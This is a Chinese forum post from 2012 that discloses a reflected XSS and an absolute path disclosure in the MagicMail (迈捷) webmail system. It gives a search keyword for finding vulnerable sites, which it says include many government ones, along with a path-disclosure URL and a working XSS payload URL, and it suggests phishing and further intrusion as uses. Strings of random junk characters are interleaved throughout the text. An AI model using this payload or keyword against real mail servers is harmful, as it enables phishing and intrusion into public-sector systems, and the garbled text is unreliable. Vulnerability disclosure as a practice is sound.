今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞1 q7 X! c) n/ r3 A$ l
- i+ ?; J& i8 B r) o8 }' U- e$ k
/ Y" j4 B8 {& ]3 ~# j4 R7 X" B包含 一个反射性XSS 以及 绝对路径泄漏
5 X# E. K5 Y9 S. Y" Q1 y, _7 A, Z看了看 貌似全部是linux的。
# u2 X4 {0 a/ C0 ~* A f& r / W2 I7 ], M$ `& k* B% y
关键字：迈捷邮件系统 by MagicMail, w1 Q K" N$ i4 ^. Y
; U6 Q5 B {( Y8 x0 c7 ~' }
可以看到很多政府网站都用这个邮件系统
/ g. [3 v# R% y: x" v! v" |3 j* x' b1 ?/ m% V9 ~+ Z
绝对路径 http://madman.in/index.php?login_type=declare&language=
8 `( K' @' a! A. |9 o' X I( R
' C; a. p5 }( m( R( v* W/ h1 g( U' H( w
& ^# j- g* Q& J! n8 [7 Y2 ^XSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E
$ ~' G" {. `4 l* r0 t5 A2 q! X) v
3 [1 `: q& y+ f% K/ W' m9 ^8 g2 o2 M) `7 o3 W+ v3 c
! n' n! l) Y! F/ V虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
; l! C! G+ ^* v1 y: ]3 D
" n5 Z- t7 b+ G/ E+ m修复方案：看官方补丁吧。7 ?* g( H9 w/ `' I. S+ p; e
|
发表于 2012-11-9 20:38:41
收藏
支持
反对